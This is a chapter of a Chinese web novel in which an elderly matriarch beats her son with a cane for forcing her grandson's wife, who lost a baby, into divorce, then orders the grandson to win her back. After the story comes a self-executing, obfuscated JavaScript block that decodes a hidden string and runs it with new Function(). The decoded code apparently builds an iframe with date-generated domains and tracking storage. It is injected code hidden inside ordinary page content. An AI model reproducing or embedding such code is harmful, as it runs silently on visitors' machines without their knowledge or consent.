听到老太太发这么大的火。
顾傲霆不敢怠慢,会开到一半,交给副手处理。
他离开公司。
用最短的时间,赶回老宅。
一进老宅大门,就看到老太太拄着拐杖,站在院子里,眼睛睁得老大,气势汹汹的。
她平时爱美,性格又好强,为了气质好看,是不拄拐杖的。
今天却拿出来了。
银质的凤头拐杖,凤嘴里镶着红宝石,是他三年前给买的。
觉得不太对劲,顾傲霆陪着笑脸迎上去,问:“妈,您这是怎么了?无缘无故的,发那么大火干嘛?”
老太太刚要发作,打眼一瞅。
见他手里握着个细长的玻璃瓶子。
嘿,这下更恼了!
她下巴一抬,咄咄逼人,“让你来见我,你拿个破玻璃瓶子干什么?是想向我示威吗?你这个老不死的,我今天不打死你,我就不是你妈!”
她举起拐杖就朝顾傲霆身上打去。
顾傲霆没防备,手臂上挨了重重一拐杖。
疼得他倒抽一口冷气。
他向后退着,不停躲闪着,“妈,这玻璃瓶子不是拿来向您示威的,您听我好好跟您解释。”
这一分神,肩膀上又挨了重重一拐杖。
他疼得“哎哟”一声,斥道:“您老怎么打起来没完了?”
“我就打你怎么了?”老太太越打越凶。
把一根凤头拐杖,耍得虎虎生风。
那副矫健模样,一点都不像八十高龄的人。
顾傲霆左躲右闪,手臂、肩膀、腿和后背,还是挨了好几拐杖。
拐杖下面是桃木的,打在人身上挺疼的。
他被打得恼羞成怒,劈手就去夺老太太的拐杖。
奈何他只有右手能用,左手粘着玻璃瓶,使不上劲。
夺了几下,没夺下来。
一直站在旁边冷眼旁观的老爷子,幽幽开口道:“傲霆啊,你妈心里有气,你就让她打几下出出气吧,又打不死人。”
顾傲霆攥着拐杖,抽空回道:“您老就别说风凉话了,没打在您身上,您当然觉不着疼。”
老太太怒道:“苏婳孩子没了,也没疼在你身上,你当然也觉不到疼。”
顾傲霆终于明白了。
老太太忽然发这么大火,原来是因为这个。
他辩道:“孩子的事,跟我没关系。”
老太太冷着脸,“我打电话问过南音了,苏婳的孩子没了,是出了场车祸。那车祸蹊跷得很,虽然警方找不到证据,但就是谋杀,跟姓楚的一家脱不了关系。为什么姓楚的,敢对婳儿下狠手?还不是因为你助纣为虐!”
顾傲霆自知理亏。
他一边夺着拐杖,一边说:“我已经放弃楚锁锁了,给北弦找了姓周的女儿,金融管理专业,现在跟我们公司合伙开发北关鱼市项目。”
老太太一听,气不打一处来。
“去了姓楚的,又搞个姓周的,你没完了没了是吧?看我今天不打死你!”
顾傲霆躲闪着,“我也是为了北弦好,找周品品是强强联合。”
“联合你个头!你控制欲这么强,怎么不去称霸世界?北秦一出生就丢了,我就剩北弦这么一个孙子。非得把他折腾死,你才满意?”
“谁说的,不还有阿凛吗?”
“阿凛不是我养大的,跟我不亲。北弦从小就多灾多难,要么被人绑架,要么出车祸。结婚三年好不容易才有了个孩子,被你们这帮人,合伙给算计掉了!你们这帮人,真是丧尽天良!”
老太太越说越气,气得大口大口地喘粗气。
毕竟年事已高,这么一折腾,累得够呛。
顾傲霆趁机把拐杖从她手里抢过来,一使劲,扔到远处。
老太太手里没了武器,瞪着他,“顾傲霆,我今天把丑话撂在这里。如果你再无中生有,折腾北弦和婳儿,我就不认你这个儿子了!”
顾傲霆揉着被打疼的手臂,不紧不慢道:“他俩早就离婚了,是苏婳提的,您老就别咸吃萝卜淡操心了。”
老太太一愣,眼神登时就变了。
很难过,很惋惜,特别心疼的样子。
怅然若失,恍恍惚惚。
过了好一会儿,她才恢复正常。
她单手扶着腰,怒视顾傲霆,“肯定是你逼婳儿离婚的!”
顾傲霆语气讥诮,“这次我还真没逼她。是她主动问我要了十个亿走的,不知道有多开心呢。”
老太太默了默,不太相信。
但还是口气强硬地说:“摊上你这样的恶公公,换了我,我也拿十个亿走人!”
顾傲霆嗤笑,“真搞不懂你们,明明就是个贪慕虚荣、拜金的女孩子。你们一个两个的,为什么都这么护着她?”
老太太火又窜上来了,“婳儿她还真不拜金!”
顾傲霆呵呵冷笑,“不拜金问我要那么多钱?”
“她那是赌气!嫁给北弦的那三年,小姑娘衣服来来去去就那么几件,连首饰都不爱戴,节俭得很。是你眼瞎,非得给人安一个拜金的帽子!”
顾傲霆摇摇头,觉得和老太太压根就无法沟通。
不是一个脑回路的。
明明就是一个冲钱来的小姑娘,却被他们一个两个地当成宝。
简直不可理喻。
他掸掸衣服上的褶皱,“你打也打了,骂也骂了,我能走了吗?”
老太太双手掐腰,喝道:“滚!”
顾傲霆被打得浑身疼,气呼呼地揉着胳膊和肩膀走了。
老爷子急忙过来扶着老太太,走到旁边的长椅上坐下。
他抚着她的胸口,帮她顺气,“这回消气了吗?”
老太太揉着手腕,“你说我怎么生了这么个混账儿子?”
老爷子实话实说:“慈母多败儿,谁让你以前那么惯着他?”
老太太眼一斜。
老爷子立马改口:“怪我,怪我。是我以前太捧着他了,捧得他刚愎自用,一意孤行,妄自尊大。”
老太太脸色这才稍微缓和了些。
老爷子帮她揉着手腕,说:“其实站在他的立场上看,也没错。公司做得越大,风险就越大,选择一个好的合作伙伴,同舟并济,很正常。所以,像我们这种家庭,大多数人的婚姻,都是联姻。性格合不合不重要,商业合就行。”
老太太脸一拉。
老爷子急忙又改口:“还是小苏好,小苏有情有义,性格温柔坚韧。”
老太太叹口气,“北弦以前风光时,一群争着和他联姻的。他一出车祸,那些千金大小姐们避之不及。楚锁锁更是直接躲到国外,那个周品品听都没听说过。如今他腿好了,一群人上来争他抢他了。也就婳儿,自始至终,对他不离不弃,还被傲霆逼走了。”
她从兜里摸出手机,“我要给婳儿打个电话。”
老爷子按住她的手,“别打了,一打你肯定会哭,你一哭,她心里更难受。”
老太太神色悲戚,“小丫头没了孩子,又被逼着离了婚,心里不知有多难过。”
“可不是,当年北秦丢了,秦姝像疯了一样,很长时间都没走出来,直到生了北弦,才稍微好点。”
想到那个刚出生就被偷走的小孙孙,老太太潸然泪下。
她嘶哑着嗓子说:“也不知北秦现在是死是活,找了那么久都没找到。”
老爷子给她擦眼泪,哄道:“别哭了。”
“我才没哭呢。”老太太抹了把眼角,想起正事。
她拿起手机打给顾北弦,命令的口吻说:“小子,无论你用什么方法,都要把婳儿给我追回来!”
顾北弦低嗯一声,“您老放心,我正在努力,绝对不会让您失望。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();